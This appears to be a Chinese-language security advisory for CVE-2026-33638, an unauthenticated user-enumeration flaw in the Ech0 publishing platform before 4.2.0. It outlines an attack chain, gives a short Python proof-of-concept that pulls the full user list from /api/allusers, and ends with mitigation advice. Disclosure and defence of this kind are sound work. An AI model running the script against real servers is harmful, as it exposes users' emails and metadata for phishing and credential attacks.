IPBUF安全漏洞报告
English
CVE-2026-33638 CVSS 5.3 中危

CVE-2026-33638 Ech0未授权用户信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33638
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ech0

相关标签

信息泄露用户枚举Ech0未授权访问

漏洞概述

Ech0是一个开源的自托管发布平台。在4.2.0版本之前,系统错误地将`GET /api/allusers`接口配置为公共端点,且未实施身份验证机制。这导致远程未认证攻击者可利用该接口枚举所有用户账户,并获取包含敏感信息的用户档案元数据。该问题在v4.2.0版本中已得到修复。

技术细节

Ech0平台在API路由控制层面存在严重的安全配置疏漏。在受影响的版本中,用于获取所有用户列表的`GET /api/allusers`接口被错误地标记为公共端点,绕过了标准的身份验证流程。这意味着任何能够访问服务器的网络用户,无论是否拥有合法账户,都可以直接向该端点发送HTTP GET请求。服务器在接收到请求后,不会验证请求者的身份,而是直接查询数据库并返回包含用户名、邮箱、注册时间等敏感元数据的完整用户列表。这种未授权访问漏洞使得攻击者能够轻易枚举系统内的所有用户,为后续的精准攻击(如撞库、钓鱼邮件)提供了便利条件。

攻击链分析

STEP 1
Reconnaissance
攻击者发现目标系统使用Ech0平台,并确定其版本低于4.2.0。
STEP 2
Exploitation
攻击者构造HTTP GET请求发送至`/api/allusers`端点,无需携带任何认证凭证。
STEP 3
Data Exfiltration
服务器响应请求,返回系统中所有用户的注册信息及元数据。
STEP 4
Post-Exploitation
攻击者利用获取的用户列表进行进一步的暴力破解或定向钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://<target_host>/api/allusers" def check_vulnerability(): try: # Send a GET request to the vulnerable endpoint without authentication response = requests.get(target_url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Leaked User Data:") print(data) except ValueError: print("[-] Response received but not JSON format. Might be patched.") else: print(f"[-] Status Code: {response.status_code}. Endpoint might be protected or down.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": check_vulnerability()

影响范围

Ech0 < 4.2.0

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理(如Nginx)或WAF中配置规则,拦截对`/api/allusers`路径的未授权访问请求,或仅允许受信任的IP地址访问该接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表